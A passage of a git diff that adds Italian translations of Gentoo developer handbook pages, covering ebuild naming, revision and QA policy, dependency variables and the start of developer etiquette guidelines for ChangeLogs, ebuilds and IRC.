+significa più vecchio): <c>_alpha</c> &lt;<c>_beta</c> &lt; <c>_pre</c> &lt;
+<c>_rc</c> &lt; (no suffix) &lt; <c>_p</c>.
+</p>
+
+<p>
+Quando si confrontano suffissi identici seguiti da un intero, quello con il
+numero più grande viene considerato il più recente. Esempio:
+<c>foo-1.0_alpha4</c> è più recente di <c>foo-1.0_alpha3</c>.
+</p>
+
+<p>
+La quarta sottosezione del nome del pacchetto è il numero specifico della
+revisione Gentoo Linux (<c>{-r#}</c>). Questa sottosezione, come il suffisso,
+è opzionale. <c>#</c> è un numero positivo diverso da 0 zero; esempio,
+<c>pacchetto-4.5.3-r3</c>.
+</p>
+
+<p>
+Questo numero di revisione è indipendente dalla versione del relativo file
+archivio dei sorgenti, ed è usata per informare le persone della disponibilità
+di una nuova e migliorata versione di un particolare pacchetto per Gentoo Linux.
+Il rilascio iniziale degli ebuild non deve avere il numero della revisione,
+per esempio <c>package-4.5.3</c> ed è considerata da Portage come se avesse un
+numero di revisione pari a zero. Questo significa che il conteggio viene fatto
+in questo modo: <c>1.0</c> (versione iniziale), <c>1.0-r1</c>, <c>1.0-r2</c>,
+ecc.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Incrementi di versione e revisione</title>
+<body>
+
+<p>
+Il numero della revisione di un pacchetto deve essere incrementata dagli
+sviluppatori di Gentoo Linux quando l'ebuild ha ricevuto delle modifiche che
+impongono agli utenti di effettuare un aggiornamento. Generalmente, questo è il
+caso in cui le correzioni vengono fatte su di un ebuild che influenza i file
+installati, ma l'ebuild usa lo stesso file archivio del precedente rilascio. Se
+viene fatto un cambiamento interno all'ebuild di tipo stilistico il quale non
+modifica nessun file installato, allora non è necessario incrementare il numero
+della revisione. Allo stesso modo, se nell'ebuild viene corretto un problema di
+compilazione che affliggeva alcuni utenti non è necessario incrementare il
+numero della revisione, in quanto per tutti quelli a cui il pacchetto funziona
+perfettamente non avranno benefici nell'installare una nuova revisione, e quelli
+che hanno avuto problemi di installazione non avranno il pacchetto installato
+(perché la compilazione è fallita) per cui non c'è bisogno di fare una nuova
+revisione per forzare un aggiornamento. La pubblicazione di una revisione non è
+inoltre necessaria se il problema è stato riscontrato da un numero minimo di
+utenti ed il pacchetto ha un tempo medio di compilazione non trascurabile; in
+queste circostanze usare il proprio giudizio nel miglior modo possibile.
+</p>
+
+<impo>
+Ogni volta che si crea una nuova revisione di un ebuild, assicurarsi di
+aggiornare il file <path>ChangeLog</path> nella directory dell'ebuild.
+Dimenticarsi di farlo viene considerata una grave mancanza e potrebbe portare a
+delle azione disciplinari.
+</impo>
+
+<p>
+Gli ebuild devono essere basati sulla versione precedente dell'ebuild per
+assicurare che i cambiamenti non vengano accidentalmente cancellati. Le
+correzioni devono includere dei commenti appropriati nell'ebuild che spiegano
+cosa fanno ed il perché sono necessarie. Se non si ha dimestichezza con le
+correzioni, o non si riesce a determinare se sono veramente necessarie, non si
+dovrebbe aggiornare l'ebuild.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Pacchetti 'virtuali' (virtual)</title>
+<body>
+
+<p>
+Portage supporta il concetto di pacchetti "virtuali" (virtual). Con l'utilizzo
+di pacchetti virtuali è possibile mappare un particolare nome di una
+categoria/pacchetto con un altro nome.
+</p>
+
+<p>
+Questo è un esempio di utilizzo dei pacchetti virtuali. Si supponga di creare
+pacchetto di cron chiamato <c>foocron</c>: Gentoo Linux è correntemente
+impostato in modo che se qualcosa ha bisogno di un pacchetto cron esso dipenderà
+dal pacchetto <c>virtual/cron</c>. Questo permette agli ebuild di assicurare che
+ci sia un qualche tipo di pacchetto cron disponibile permettendo così agli
+utenti di installare il pacchetto cron che preferiscono. Per inserire il proprio
+pacchetto <path>foocron-1.0.ebuild</path> in questo sistema, bisogna aggiungere
+una linea all'ebuild, in questo modo:
+</p>
+
+<pre caption="Come fornire un pacchetto virtuale">
+PROVIDE="virtual/cron"
+</pre>
+
+<p>
+A questo punto, a seguito dell'installazione di <c>foocron-1.0</c>, il pacchetto
+<c>virtual/cron</c> verrà registrato. Se precedentemente non era stato
+installato nessun pacchetto cron, vorrà dire che qualsiasi pacchetto
+<e>dipendente</e> da <c>virtual/cron</c> avrà la dipendenza completamente
+soddisfatta. Notare che è consigliabile specificare solamente un valore
+<c>PROVIDE</c> per i pacchetti virtuali definiti (vedere
+<path>/etc/make.profile/virtuals</path>). Inoltre si prega che (a)
+<c>PROVIDE</c> non è pensato per gestire la rinominazione dei pacchetti e (b)
+non usarlo con i pacchetti virtuali nuovo stile.
+</p>
+
+<p>
+C'è un secondo componente nell'implementazione dei pacchetti virtuali in Gentoo
+Linux. Cosa succederebbe se non è stato installato alcun pacchetto che fornisce
+<c>virtual/cron</c>? Come fa Portage a soddisfare la dipendenza per
+<c>virtual/cron</c>? Portage prende in carico questa situazione usando un file
+specifico per architettura contenente la mappatura dei pacchetti virtuali
+chiamato <path>virtuals</path> il quale è memorizzato nella directory del
+profilo <path>/etc/make.profile</path>. Guardando nel proprio file
+<path>virtuals</path>, si noterà che il contenuto assomiglia a quanto segue:
+</p>
+
+<pre caption="Esempio di file virtual">
+virtual/lpr             net-print/cups
+virtual/python          dev-lang/python
+virtual/mta             net-mail/ssmtp
+</pre>
+
+<p>
+La prima riga di questo file dice a Portage che se un pacchetto dipende da
+<c>virtual/lpr</c> e non c'è installato alcun <c>virtual/lpr</c> disponibile nel
+Portage Tree, allora <c>net-print/cups</c> soddisferà questa dipendenza.
+<c>net-print/cups</c> contiene una linea uguale a <c>PROVIDE="virtual/lpr"</c>
+in modo che tutte le dipendenze future di <c>virtual/lpr</c> saranno
+soddisfatte.
+</p>
+
+<p>
+In base alle linee guida degli sviluppatori, se viene aggiunto il pacchetto
+<c>foocron</c>, ovviamente bisogna assicurarsi che tutti i programmi che
+dipendono da <c>virtual/cron</c> riescano a funzionare correttamente con esso. E
+se è stato aggiunto il pacchetto chiamato <c>foobarosity</c> che dipende da
+<c>virtual/cron</c>, allo stesso modo bisognerà assicurarsi che tutti i
+pacchetti che forniscono <c>virtual/cron</c> siano adeguati per il corretto
+funzionamento di <c>foobarosity</c>.
+</p>
+
+<p>
+Prima di creare un nuovo pacchetto virtuale, si prega di avviare una discussione
+nella mailing list interna riguardo ad esso. Tenere informati gli sviluppatori a
+proposito di nuovi pacchetti virtuali è essenziale per assicurare il loro uso
+in modo uniforme.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Ambito</title>
+<body>
+
+<p>
+Ogni volta che un ebuild viene derivato, le funzioni e le variabili al suo
+interno vengono caricate in memoria dall'interprete dello script. Tuttavia, solo
+le variabili e le istruzioni che non sono parte di una funzione vengono
+interpretate: funzioni come <c>src_compile()</c> vengono eseguite da Portage
+solamente quando l'ebuild ha raggiunto la fase di compilazione.
+</p>
+
+<p>
+Il codice contenuto in queste funzioni è considerato di "ambito locale" mentre
+tutto ciò che sta all'esterno delle funzioni è in "ambito globale", che
+comporta la loro esecuzione ogni volta che l'ebuild viene derivato.
+</p>
+
+<p>
+Un'applicazione esterna (come grep, sed o awk) non dovrebbe mai essere chiamata
+nell'ambito globale per questioni di prestazioni, e invece dovrebbero essere
+usate delle alternative come l'uso sostitutivo di funzioni native di bash. Si
+possono trovare delle utili alternative nella <uri
+link="http://www.pluto.it/files/ildp/guide/abs/">Guida avanzata di scripting
+Bash</uri> (ndT: <uri link="http://www.tldp.org/LDP/abs/html/">qui</uri>
+l'originale inglese).
+</p>
+
+<p>
+In più, non si può garantire l'esistenza nel sistema delle eventuali
+applicazioni esterne richiamate nell'ambito globale. Se il comando viene messo
+in un ambito locale (per esempio, nella funzione <c>pkg_setup()</c>), è
+possibile garantirne la presenza aggiungendolo alla variabile <c>${DEPEND}</c>
+dell'ebuild.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Politiche per i sorgenti da CVS</title>
+<body>
+
+<p>
+Ci sono due modi differenti di compilare un ebuild basato su sorgenti che
+provengono da un albero di sviluppo CVS. Il primo e tradizionale metodo è di
+creare un ebuild di tipo "CVS snapshot" (ndT: "fotografia" del CVS) creando un
+file archivio (tarball) personale dal repository CVS ufficiale, facendo un
+mirroring dei sorgenti nel repository ufficiale dei distfile di Gentoo, e
+scrivendo un ebuild per l'uso specifico di questo file archivio. In seguito si
+farà riferimento a questi tipi di ebuild CVS con il termine "ebuild per snapshot
+CVS".
+</p>
+
+<p>
+L'altro metodo per la creazione di ebuild basati sul CVS è di usare
+<path>cvs.eclass</path> per creare un ebuild CVS "live". Questi tipi di ebuild
+recuperano il più recente codice sorgente in fase di sviluppo dal repository CVS
+durante la fase di scaricamento (fetch) dei sorgenti, assicurando che i sorgenti
+siano il più possibile aggiornati. In seguito si farà riferimento a questi tipi
+di ebuild CVS con il termine "ebuild 'live'" (ndT: "in diretta/dal vivo").
+</p>
+
+<p>
+I seguenti paragrafi spiegano in dettaglio le regole riguardanti l'uso di ebuild
+basati su CVS. Tenere presente che esistono delle regole molto rigide riguardo
+all'aggiunta di questo tipo di ebuild al Portage tree.
+</p>
+
+<p>
+Ebuild per snapshot CVS sono maggiormente preferiti rispetto ad ebuild "live"
+(che utilizzano <path>cvs.eclass</path>).
+</p>
+
+<p>
+Gli ebuild per snapshot CVS sono autorizzati se uno snapshot del CVS contiene
+delle migliorie conosciute necessarie al regolare funzionamento di un pacchetto
+software, o si sa (o è stato provato) che la versione da CVS di un particolare
+pacchetto software semplicemente funziona meglio della normale versione
+rilasciata.
+</p>
+
+<p>
+Ebuild "live" (basati su <path>cvs.eclass</path>) generalmente sono designati
+per la comodità degli sviluppatori e dovrebbero sempre essere mascherati con una
+keyword <c>~[arch]</c>. È impossibile garantire la solidità di un ebuild "live"
+(basato su <path>cvs.eclass</path>) in quanto l'albero dei sorgenti CVS
+ufficiale può subire continue modifiche, e conseguentemente questo tipo di
+ebuild dovrebbero essere sempre mascherati.
+</p>
+
+<p>
+Sia per gli ebuild CVS "live" sia per ebuild CVS "snapshot", <b>il relativo
+sviluppatore ha la responsabilità di assicurare il loro corretto
+funzionamento</b>; per ovvie ragioni questo è difficile da attuare per gli
+ebuild di tipo "live" CVS.
+</p>
+
+<p>
+Se degli ebuild (di ogni tipo) non funzionano correttamente o risultano fallati,
+devono essere corretti o rimossi dal Portage tree. Se sono ebuild CVS "live",
+potrebbero essere mascherati tramite la keyword <c>~[arch]</c> per tutto il loro
+ciclo di vita (questa speciale eccezione è spiegata in dettaglio qui sotto).
+</p>
+
+<p>
+Se un utente o gli utenti chiedono specificatamente un ebuild CVS "live", è
+possibile aggiungerne uno per loro. Esso dovrà essere marcato come
+<c>~[arch]</c> in modo che altri utenti non lo installino inavvertitamente.
+</p>
+
+<p>
+In questo modo, gli utenti (tipo gli sviluppatori) che richiedono questo tipo di
+ebuild li possono installare ma gli altri utenti saranno protetti da una loro
+eventuale installazione accidentale. Si ricorda nuovamente che ciò è applicabile
+solamente a situazioni in cui un utente o degli utenti richiedono
+specificatamente un ebuild CVS "live" (basato su <path>cvs.eclass</path>).
+Gli ebuild per snapshot CVS dovrebbero essere aggiunti al Portage tree con
+l'obiettivo di renderli stabili e fornire un miglior funzionamento rispetto alla
+versione normale di tale software.
+</p>
+
+<impo>
+Gli ebuild per gli snapshot dei <e>pre-rilasci</e> dei sorgenti del CVS devono
+essere nominati nel modo seguente: <path>foo-x.y_preYYYYMMDD.ebuild</path>.
+<c>foo</c> è il nome del pacchetto, <c>x.y</c> è il numero della versione della
+versione <e>imminente</e>, <c>_pre</c> è una stringa letterale, e
+<c>YYYYMMDD</c> è un timestamp del giorno in cui è stato eseguito lo snapshot.
+Usare questa convenzione del nome per assicurare che una versione del rilascio
+<c>x.y.1</c> non sia considerata più vecchia dello snapshot <c>x.y</c>, mentre
+allo stesso tempo assicurare che la versione ufficiale del rilascio <c>x.y</c>
+sia considerata <e>più nuova</e> della versione del proprio snapshot del CVS.
+Per gli snapshot del CVS dei sorgenti del CVS <e>già rilasciati</e>, usare il
+formato <path>foo-x.y_pYYYYMMDD.ebuild</path> (notare la <c>_p</c> che indica il
+"livello di patch.") Questo assicurerà che il proprio ebuild da CVS sarà
+considerato <e>più nuovo</e> rispetto al rilascio standard <c>x.y</c>.
+</impo>
+
+<impo>
+Al momento, la politica per dare il nome agli ebuild CVS "live" è quella di
+assicurare che il nome del pacchetto finisca con <c>-cvs</c>. In futuro verrà
+aggiunta al Portage il suffisso <c>_cvs</c> e questa politica verrà aggiornata.
+</impo>
+
+</body>
+</subsection>
+<subsection>
+<title>Ebuild sottoposti dagli utenti</title>
+<body>
+
+<p>
+Gli ebuild sottoposti dagli utenti non dovrebbero mai essere accettati così come
+sono e dovrebbero essere sempre ben testati e verificati prima di effettuarne il
+commit nel CVS. <b>Se un ebuild sottoposto da un utente ha dei problemi, lo
+sviluppatore che lo ha ricevuto e gestito ne sarà ritenuto responsabile.</b>
+Inviandolo al CVS, si attesta che l'ebuild soddisfa tutti gli standard di
+sviluppo per Gentoo Linux.
+</p>
+
+<p>
+Assicurarsi che l'ebuild proposto dall'utente non contenga intestazioni
+personalizzate come la seguente:
+</p>
+
+<pre caption="Un'intestazione personalizzata che dovrebbe essere trasferita sul
+ChangeLog">
+# Ebuild updated by: me &lt;me@me.com&gt;
+</pre>
+
+<p>
+Questa informazione dovrebbe essere aggiunta al <path>ChangeLog</path>
+utilizzando in modo corretto la sintassi per i commenti del ChangeLog.
+<b>Assicurarsi sempre che il ChangeLog contenga i crediti corretti per l'utente
+che ha sottoposto l'ebuild. Questa informazione deve apparire nella prima riga
+del ChangeLog.</b>
+</p>
+
+<p>
+Assicurarsi inoltre che tutti i nuovi ebuild di cui si effettua il commit
+contengano la riga seguente:
+</p>
+
+<pre caption="Intestazione di un ebuild">
+# &#36;Header: &#36;
+</pre>
+
+<p>
+Alcuni ebuild sottoposti dagli utenti sono basati su file recuperati tramite
+rsync, i quali possono contenere intestazione incorrette.
+</p>
+
+<p>
+Incoraggiare gli utenti a sottoporre le differenze (diff) per gli ebuild
+esistenti se stanno sottoponendo un aggiornamento. Facendo questo, è più facile
+evitare la re-introduzione di bug già corretti nei propri ebuild "nuovi". Se non
+si sta lavorando su di un diff sottoposto da un utente ma su di un ebuild
+completo, allora usare il comando <c>diff</c> per vedere cosa è stato cambiato,
+tenendo attentamente d'occhio qualsiasi cosa che dal proprio ebuild corrente
+dovrebbe apparire nel nuovo ebuild, o qualsiasi cosa che dovrebbe essere
+corretta o rimossa nel nuovo ebuild.
+</p>
+
+<p>
+Generalmente, lasciare che sia l'utente a fare il lavoro richiesto per
+aggiornare il proprio ebuild, a meno che non si <e>voglia</e> effettuare una
+pulizia dell'ebuild a suo vantaggio. Nondimeno il più delle volte è meglio
+lasciar fare il lavoro all'utente in modo da dargli la possibilità di imparare
+dai propri errori e inviare ebuild più precisi in futuro. Assicurarsi di essere
+riconoscenti per qualsiasi ebuild o patch sottoposta, anche se il lavoro non è
+molto buono. Comportarsi in modo educato ma onesto: se un ebuild non è usabile,
+l'utente può essere avvisato in un modo da non insultare la sue attuali abilità
+nello scrivere ebuild. Ricordarsi che l'utente che invia degli ebuild corrotti
+potrebbe essere in futuro un membro responsabile e produttivo del progetto
+Gentoo, e questo succederà se riceverà la giusta quantità di incoraggiamenti e
+supporto per continuare a migliorare le proprie abilità.
+</p>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Politica per la QA (Quality assicurance - Garanzia di Qualità)</title>
+<subsection>
+<title>Politiche di rilascio per Portage / Baselayout</title>
+<body>
+
+<p>
+Solo i membri del team di Portage (che si sa chi sono) hanno l'autorità per
+rilasciare una nuova versione di Portage, <b>nessun</b> altro è abilitato a
+farlo.
+</p>
+
+<p>
+Solo i membri del team del baselayout (che si sa chi sono) hanno l'autorità di
+rilasciare una nuova versione di baselayout, <b>nessun</b> altro è abilitato a
+farlo.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Pacchetti mascherati</title>
+<body>
+
+<p>
+<path>/usr/portage/profiles/package.mask</path> contiene una lista di pacchetti
+che non dovrebbero essere installati dagli utenti e i commenti che spiegano
+in modo dettagliato i motivi dello mascheramento. package.mask è usato per
+prevenire l'installazione di pacchetti malfunzionanti, che guastano qualcosa
+d'altro o necessitano di test intensivi prima di essere aggiunti nel ~ARCH
+KEYWORDS del Portage tree. Quando si aggiunge un pacchetto a package.mask, fare
+sempre prima il commit di questo file prima del commit dell'ebuild mascherato,
+in modo da prevenire che l'ebuild venga installato erroneamente dagli utenti,
+prima che il file package.mask aggiornato lo possa fare da sé.
+</p>
+
+<p>
+Ogni volta che un pacchetto viene rimosso da <path>package.mask</path> bisogna
+fare molta attenzione, poiché c'è un motivo se un ebuild è elencato in questo
+file. Se non si ha effettuato personalmente il mascheramento dell'ebuild,
+contattare sempre lo sviluppatore elencato nei commenti di
+<path>package.mask</path> prima di intraprendere qualsiasi azione. Inoltre, se
+l'ebuild mascherato è un pacchetto di sistema, o una sua dipendenza, o se la
+rimozione del mascheramento potrebbe avere effetti dannosi, il cambiamento deve
+essere discusso internamente nella mailing list degli sviluppatori.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>~ARCH in KEYWORDS</title>
+<body>
+
+<p>
+Lo scopo di ~arch è di testare nuovi pacchetti aggiunti a Portage.
+</p>
+
+<p>
+C'è una differenza tra l'uso di <path>package.mask</path> e ~arch per gli
+<b>ebuild</b>. L'uso di ~arch denota il fatto che un <c>ebuild</c> ha
+bisogno di essere testato. L'uso di <path>package.mask</path> denota il fatto
+che l'applicazione o la libreria stessa è valutata come instabile. Per esempio,
+se <c>gimp-1.2.0</c> è la versione stabile per gli sviluppatori di Gimp,
+ed è disponibile una nuova versione 1.2.1 contenente delle correzioni, uno
+sviluppatore dovrà marcare l'ebuild come ~arch per poterlo testare in portage
+perché il rilascio è valutato come stabile. In un altro caso, se Gimp decide di
+rilasciare una versione della serie instabile o di sviluppo marcata come 1.3.0,
+allora questi ebuild dovranno essere messi in <path>package.mask</path> perché
+il software in sé è di una qualità di sviluppo e gli sviluppatori non ne
+raccomandano la distribuzione.
+</p>
+
+<p>
+Tutti i nuovi pacchetti che vengono inseriti in Portage devono essere marcati
+come ~arch per la(e) architettura(e) sulle quali si sa che quella versione del
+pacchetto funziona correttamente. Lo sviluppatore che fa il commit dell'ebuild
+deve verificare che esso funzioni correttamente e che le KEYWORDS siano
+corrette.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Spostamento delle versioni dei pacchetti da ~ARCH a ARCH</title>
+<body>
+
+<p>
+Quando una nuove versione di un pacchetto dimostra di essere stabile per un
+sufficiente periodo di tempo ed il mantenitore dei pacchetti di Gentoo è
+fiducioso nel fatto che l'aggiornamento non creerà problemi alla macchina Gentoo
+degli utenti, allora può essere spostato da ~ARCH a ARCH. Un'indicazione della
+stabilità del pacchetto può essere se non vengono verificati o non ci sono bug
+irrisolti per la versione del pacchetto dopo un mese dalla sua introduzione.
+</p>
+
+<p>
+È compito del mantenitore del pacchetto reputare quali versioni sono stabili o
+se la versione di sviluppo dovrebbe essere in <path>package.mask</path> o
+lasciata come ~arch.
+</p>
+
+<p>
+Bisogna inoltre assicurare che tutte le dipendenze di questa versione del
+pacchetto siano anch'esse in ARCH.
+</p>
+
+<impo>
+Ricordare che solo i team per le architetture hanno la responsabilità di marcare
+stabili i pacchetti nella propria architettura. I mantenitori dei pacchetti
+dovrebbero aprire dei bug per la stabilizzazione, invece che marcarli come
+stabili e basta. Tuttavia, se un mantenitore fa anche parte di un team per
+un'architettura, allora potrà autonomamente stabilizzarne il pacchetto.
+</impo>
+
+<warn>
+Il processo ~ARCH può essere ignorato <e>solo e solo se</e> la versione del
+pacchetto in questione contiene una correzione di sicurezza o è necessaria per
+risolvere un importante bug nel sistema Gentoo.
+</warn>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Variabili</title>
+<subsection>
+<title>Variabili necessarie</title>
+<body>
+
+<p>
+La politica di di Gentoo Linux richiede che tutti gli ebuild contengano le
+variabili <c>KEYWORDS</c>, <c>LICENSE</c>, e <c>SLOT</c>. Anche <c>HOMEPAGE</c>,
+<c>SRC_URI</c> e <c>DESCRIPTION</c> dovrebbero essere incluse eccetto per
+circostanze particolari. <c>DEPEND</c> (e se necessario, <c>RDEPEND</c>)
+dovrebbero essere incluse se il proprio pacchetto ha rispettivamente delle
+dipendenze in fase di compilazione o di esecuzione.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>DEPEND e RDEPEND</title>
+<body>
+
+<p>
+Usare <c>DEPEND</c> per definire le dipendenze necessarie per la compilazione di
+un pacchetto particolare, ed impostare <c>RDEPEND</c> con le dipendenze
+richieste per <e>eseguire</e> un particolare pacchetto. RDEPEND dovrebbe essere
+impostato esplicitamente, anche se RDEPEND=${DEPEND}.
+</p>
+
+<pre caption="Esempio di RDEPEND">
+RDEPEND="${DEPEND}
+         net-ftp/curl"
+</pre>
+
+<p>
+È anche importante notare che quando un pacchetto binario <c>.tbz2</c> viene
+installato soltanto le dipendenze di <c>RDEPEND</c> vengono soddisfatte; usare
+questa informazione come aiuto nella scelta delle corrette dipendenze per
+<c>RDEPEND</c>.
+</p>
+
+<p>
+Un pacchetto deve dipendere dalle versioni più vecchie che soddisfano le
+dipendenze. Se esso funziona con <c>libfoo-1.2.x</c>, non farlo dipendere da
+<c>libfoo-2.x</c> solo perché questa è la versione che si ha installato.
+</p>
+
+<p>
+In generale, i pacchetti dovrebbero dipendere da <c>=libfoo-1.2*</c> invece che
+da <c>&gt;=libfoo-1.2</c>. Altrimenti, le cose potrebbero cominciare a non
+funzionare più nel momento in cui viene introdotto <c>libfoo-2.0</c>.
+</p>
+
+<p>
+La dipendenza da un pacchetto virtuale come <c>virtual/foo</c> funzionerà
+soltanto se i diversi pacchetti forniti da <c>virtual/foo</c> hanno delle
+interfacce uguali tra loro. Considerare <c>virtual/jdk-1.3</c> come esempio:
+alcuni pacchetti non funzionano con <c>ibm-jdk-1.3</c>  mentre funzionano
+correttamente con <c>sun-jdk-1.3</c>. Per questa ragione, assicurarsi che il
+proprio pacchetto sia testato con tutti quelli forniti dal pacchetto virtuale,
+prima di rimuovere il mascheramento. Si potrebbe fare dipendere il pacchetto
+soltanto da una parte di quelli contenuti nel pacchetto virtuale piuttosto che
+dal pacchetto virtuale stesso.
+</p>
+
+</body>
+</subsection>
+</section>
+
+</sections>
\ No newline at end of file
diff --git a/xml/htdocs/proj/it/devrel/handbook/hb-policy-etiquette.xml b/xml/htdocs/proj/it/devrel/handbook/hb-policy-etiquette.xml
new file mode 100644
index 00000000..6a2abd69
--- /dev/null
+++ b/xml/htdocs/proj/it/devrel/handbook/hb-policy-etiquette.xml
@@ -0,0 +1,274 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/1.0 -->
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/it/devrel/handbook/hb-policy-etiquette.xml,v 1.5 2008/02/28 20:52:42 scen Exp $ -->
+
+<sections>
+<version>1.0.2</version>
+<date>2006-09-05</date>
+
+<section>
+<title>Introduzione ed alcuni semplici suggerimenti</title>
+<body>
+
+<p>
+Questi suggerimenti sono pensati per essere una guida facile da seguire riguardo
+a quello che i membri del <uri link="/proj/en/devrel">Coordinamento
+Sviluppatori</uri> si <e>aspettano</e> sia una buona regola di comportamento per
+gli sviluppatori. Tali suggerimenti dovrebbero coprire la maggior parte delle
+aree ed essere impiegati tutte le volte che risulta possibile.
+</p>
+
+<p>
+Questo non significa pretendere che lo sviluppatore segua questa guida per filo
+e per segno e neppure pretendere che egli ne accetti i contenuti; tuttavia si
+esige che tutti gli sviluppatori mantengano degli standard ragionevoli riguardo
+al comportamento nei confronti della comunità di Gentoo, sia con altri
+sviluppatori che con gli utenti. In ogni caso, se non viene riscontrato uno
+standard ragionevole si può essere soggetti a sanzioni o sospensione.
+</p>
+
+<p>
+Con standard ragionevoli non s'intende il non poter esprimere la propria
+opinione, piuttosto si reputa che <e>il modo</e>, il metodo ed la
+professionalità usata per esprimere la propria opinione stabiliscano se uno
+standard ragionevole viene soddisfatto, dato che, come sviluppatore, quello che
+viene detto si riflette globalmente su Gentoo ed i suoi progetti. Si richiede
+solamente di essere rispettosi nel medesimo modo sia nei confronti degli altri
+sviluppatori sia degli utenti, e valutare l'opinione di tutti, pur ritenendola
+totalmente sbagliata.
+</p>
+
+<p>
+Cercare di usare una ortografia ed una grammatica corretta dovunque: sia in un
+messaggio di commit su CVS, sia in un Changelog, sia in IRC se si vuole essere
+veramente gentili. Comunque non ci si deve preoccupare riguardo a questo
+aspetto, in quanto ogni sviluppato viene lasciato libero di agire, però è utile
+tenere presente che impegnandosi a rendere le cose più chiare, il tempo
+necessario per leggere le proprie frasi sarà minore. Tuttavia allo stesso tempo
+è anche importante non perdere il filo del discorso scrivendo messaggi troppo
+lunghi che porterebbero via troppo tempo per essere letti.
+</p>
+
+</body>
+</section>
+<section>
+<title>Cosa non si dovrebbe fare</title>
+<body>
+
+<p>
+Cercare di non essere maleducati, offensivi o scortesi in ogni circostanza.
+Qualche volta, solo un commento sarcastico può far cambiare tono a chi sta
+leggendo. Se si pensa di poter essere stati fraintesi su un proprio commento, e
+se c'è <e>veramente</e> bisogno di dirlo, assicurarsi che la gente capisca che
+non si voleva essere offensivi.
+</p>
+
+<p>
+È importante ricordarsi che si è rappresentanti ufficiali di Gentoo. Svolgendo
+tale funzione, si richiede di mantenere un certo livello di professionalità e
+cortesia nelle proprie relazioni giornaliere con gli utenti e gli altri
+sviluppatori.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Consigli</title>
+<subsection>
+<title>ChangeLog</title>
+<body>
+
+<ul>
+  <li>
+    Rendere leggibili i propri Changelog per l'utente medio: cercare di
+    mantenere le cose semplici e concise se possibile, ma fornire qualunque
+    informazione critica se necessario. Ricordarsi che i Changelog devono essere
+    scritti in un inglese piacevole e "corretto" anche se il loro contenuto è
+    succinto. La punteggiatura è essenziale.
+  </li>
+  <li>
+    Si prega di non usare linguaggi in dialetto "Gentoo", eccetto per i termini
+    accettati come "ebuild" e "version bump". Se si è prolissi, usare i segni di
+    punteggiatura e quotatura in modo corretto.
+  </li>
+</ul>
+
+<ul>
+  <li>
+    Tutti i nomi di funzioni dovrebbero essere incapsulati tra virgolette o
+    apici.
+  </li>
+  <li>
+    Essere prolissi: "Version bump" va bene, anche se "Version bump; see bug
+    #..." è sempre meglio. Questo non aiuta soltanto gli utenti, ma aiuta allo
+    stesso modo altri sviluppatori.
+  </li>
+  <li>
+    Non usare frasi come "Testato per mesi, dovrebbe funzionare." o "Credo che
+    questo dovrebbe risolvere il problema." o altre frasi che non danno la
+    certezza del funzionamento o meno di qualcosa. È molto più importante
+    informare l'utente di testare il più possibile il pacchetto e di riportare
+    qualsiasi bug.
+  </li>
+  <li>
+    Quando si fa riferimento ad una sezione di un ebuild tipo la variabile
+    homepage, usare "HOMEPAGE" ricordando di aggiungere le virgolette e di usare
+    il carattere corretto. Questo rende le cose più precise, dicendo chiaramente
+    all'utente che la variabile è stata modificata; piuttosto che l'homepage
+    alla quale si collega il proprio pacchetto durante l'avvio, per esempio.
+  </li>
+  <li>
+    Quando si usano degli acronimi, usare le lettere maiuscole/minuscole
+    correttamente. Per esempio, "ALSA", non "alsa", "Win4Lin" non "win4lin".
+  </li>
+</ul>
+
+</body>
+</subsection>
+<subsection>
+<title>Ebuild</title>
+<body>
+
+<ul>
+  <li>
+    Cercare di non incrementare continuamente le versioni degli ebuild (version
+    bump) a meno che non sia <b>davvero</b> un vantaggio o una correzione di
+    sicurezza considerata importante. Esempi di incrementi di versione non
+    necessari includono:
+    <ul>
+      <li>
+        Correzioni ortografiche poco significative nei commenti dei file di
+        script, modifiche all'indentazione del file o cose simili.
+      </li>
+      <li>
+        Viene applicata un patch ad un ebuild non relativo ai kernel per
+        supportare una nuova versione del kernel (o una nuova versione di una
+        libreria), permettendo l'installazione del proprio ebuild ad un maggior
+        numero di utenti, ma non introducendo nessun cambiamento per gli attuali
+        utenti della revisione corrente.
+      </li>
+    </ul>
+    Come regola generale, correzioni con cambiamenti non superficiali a
+    qualunque dei file installati di qualunque ebuild autorizza l'incremento di
+    revisione. In altre parole: Se la propria correzione cambia il comportamento
+    dell'ebuild per gli utenti esistenti, si effettua l'incremento di versione
+    in modo da comunicare agli utenti che è possibile e consigliabile effettuare
+    l'aggiornamento. Per maggiori dettagli vedere la Politica per gli Ebuild.
+  </li>
+  <li>
+    Rispettare le preferenze di codifica degli sviluppatori. Cambiamenti non
+    necessari di sintassi ad un ebuild aumentano il carico di lavoro sul server
+    CVS e possono causare complicazioni per altri. I cambiamenti di sintassi
+    dovrebbero essere fatti soltanto se danno dei vantaggi reali, come una
+    compilazione più veloce, informazioni migliori all'utente finale o se
+    adempiono alle regole di Gentoo.
+  </li>
+</ul>
+
+</body>
+</subsection>
+<subsection>
+<title>IRC</title>
+<body>
+
+<ul>
+  <li>
+    Comportarsi in modo gentile e rispettoso nei confronti di tutti, anche se
+    si stanno ricevendo moltissimi messaggi.
+  </li>
+  <li>
+    Non abusare o discriminare gli utenti o gli sviluppatori, sia facendo
+    scherzi o sarcasmi.
+  </li>
+  <li>
+    Rispondere a qualsiasi domanda nel miglior modo possibile in base alle
+    proprie conoscenze, tuttavia è meglio non rispondere su ciò che non si
+    conosce per evitare di confondere l'interlocutore. Non ci sono regole per
+    qualsiasi danno collaterale causato dagli sviluppatori agli utenti, ma: se
+    lo sviluppatore contatta in qualsiasi modo un utente, per esempio
+    connettendosi tramite SSH alla macchina di quest'ultimo, lo sviluppatore
